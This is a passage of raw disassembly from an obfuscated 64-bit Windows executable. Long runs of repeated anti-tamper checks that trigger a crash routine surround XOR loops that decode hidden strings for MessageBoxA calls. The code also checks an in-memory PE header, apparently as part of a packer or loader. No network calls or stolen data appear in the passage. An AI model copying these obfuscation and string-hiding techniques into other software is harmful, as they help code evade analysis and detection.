cmp rax, rcx
je 0x14003156b
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003156b
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003158b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.14003e8e4
mov rdx, rax
mov r8, rdi
mov rcx, r14
call fcn.1400c6890
mov rax, qword gs:[0x18]
mov edi, 0xc6f3f7f8
cmp rax, r13
jne 0x14003166d
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x18ff88d1
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003164d
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003164d
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003166d
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x140031717
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400316f7
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400316f7
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031717
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.14003efe0
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x1400317e2
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x18ff88d1
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400317c2
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400317c2
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400317e2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14003188c
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003186c
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003186c
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003188c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x1400318b9
mov ebx, r15d
movabs r11, 0x8080808080808081
test rsi, rsi
je 0x1400319d4
mov rcx, r15
mov rax, r11
mul rsi
mov r8, rdx
shr r8, 7
add r8b, sil
mov r9, r14
mov r12, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
mov ecx, r15d
lea r11, [rbp + 0xfe8]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xfe8]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x14003194a
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, rsi
jb 0x14003192c
mov r14, qword [rbp - 0x40]
mov r12d, 0xe330532b
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x140031a7e
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031a5e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031a5e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031a7e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
mov esi, 0x18ff88d1
mov edi, 0xc6f3f7f8
cmp rax, r13
jne 0x140031b41
mov rcx, qword gs:[9]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031b21
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031b21
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031b41
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x140031beb
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031bcb
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031bcb
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031beb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
mov ecx, 0x5a4d
cmp word [r14], cx
je 0x140031fd8
cmp rax, r13
jne 0x140031cae
mov rax, qword gs:[9]
movabs rcx, 0x6914cbf2a209ecb0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031c8e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031c8e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031cae
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea310]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0xb2
mov r10, r15
movabs rbx, 0x1a6e778c2
movabs r8, 0x1c155f04e2
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x382abe09c4
movabs r14, 0x8080808080808081
movabs r13, 0x1a6e778c1
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r14
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140031d02
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400ea410]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400ea330]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400ea4b0]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x347cbf65
mov dword [rbp + 0xc8c], 0xd027f96f
mov dword [rbp + 0xc90], 0x86d4b1d5
mov word [rbp + 0xc94], 0x5a
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x64c527c63a
movabs r11, 0xc98a4f8c74
mov r13d, 0xdff380c9
movabs r12, 0x1a6e778c1
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140031dea
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword gs:[0x18]
cmp rcx, r13
mov r12d, 0xe330532b
jne 0x140031f2a
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031f0a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031f0a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031f2a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14003dab1
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031fb8
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031fb8
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003dab1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
cmp rax, r13
jne 0x140032079
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032059
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032059
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032079
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
movsxd r13, dword [r14 + 0x3c]
add r13, r14
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0x18]
mov r14d, 0xdff380c9
movabs rbx, 0x6914cbf2a209ecb0
cmp rax, r14
jne 0x140032141
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032121
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032121
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032141
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x14003252d
cmp rax, r14
jne 0x1400321fb
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400321db
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400321db
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400321fb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea310]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0xb2
mov r10, r15
movabs rbx, 0x1a6e778c2
movabs r8, 0x1c155f04e2
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x382abe09c4
movabs r13, 0x8080808080808081
movabs r14, 0x1a6e778c1
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r13
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003224f
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400ea410]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400ea350]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400ea4b0]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x347cbf65
mov dword [rbp + 0xccc], 0xd027f96f
mov dword [rbp + 0xcd0], 0x86d4b1d5
mov word [rbp + 0xcd4], 0x5a
mov r9, r15
movabs r8, 0x64c527c63a
mov r10d, 0x3d
movabs r11, 0xc98a4f8c74
mov r14d, 0xdff380c9
movabs r12, 0x1a6e778c1
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0xc98]
xor dil, r9b
mov byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140032337
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x18]
cmp rax, r14
mov r12d, 0xe330532b
jne 0x14003247f
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003245f
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003245f
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003247f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x14003dab1
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003250d
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003250d
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003dab1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
cmp rax, r14
jne 0x1400325df
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400325bf
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400325bf
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400325df
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400ea2f0]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x63fd7fcc
mov dword [rbp + 0x98c], 0x48fd8c81
mov dword [rbp + 0x990], 0xb4a28d8a
mov word [rbp + 0x994], 0x43fd
mov byte [rbp + 0x996], al
mov r8, r15
movabs rsi, 0x1a6e778c1
movabs r9, 0x318f2026bc
lea r10d, [rax + 0x1e]
movabs r12, 0x1a6e778c2
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x978]
xor dil, r8b
mov byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x631e404d78
cmp r9, rax
jb 0x140032654
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400ea570]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400ea260]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
movabs rbx, 0x666c0f3efc
movabs r9, 0x3336079f7e
mov r10d, Ordinal_33
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xad8]
xor dil, r8b
mov byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, rbx
jb 0x140032715
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.14003dabc
mov rax, qword gs:[0x18]
cmp rax, r14
movabs rbx, 0x6914cbf2a209ecb0
mov esi, 0xe330532b
jne 0x14003288b
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003286b
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003286b
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003288b
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
mov edi, 0x18ff88d1
cmp rax, r14
jne 0x14003294c
mov rcx, qword gs:[9]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003292c
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003292c
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003294c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
xor ecx, ecx
call fcn.1400a8504
mov rcx, rax
call fcn.1400a3de4
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x140032a05
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400329e5
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400329e5
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032a05
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x140032aaf
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032a8f
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032a8f
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032aaf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x140032b59
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032b39
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032b39
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032b59
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x140032c03
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032be3
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032be3
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032c03
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x140032cad
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032c8d
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032c8d
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032cad
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x140032d6a
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
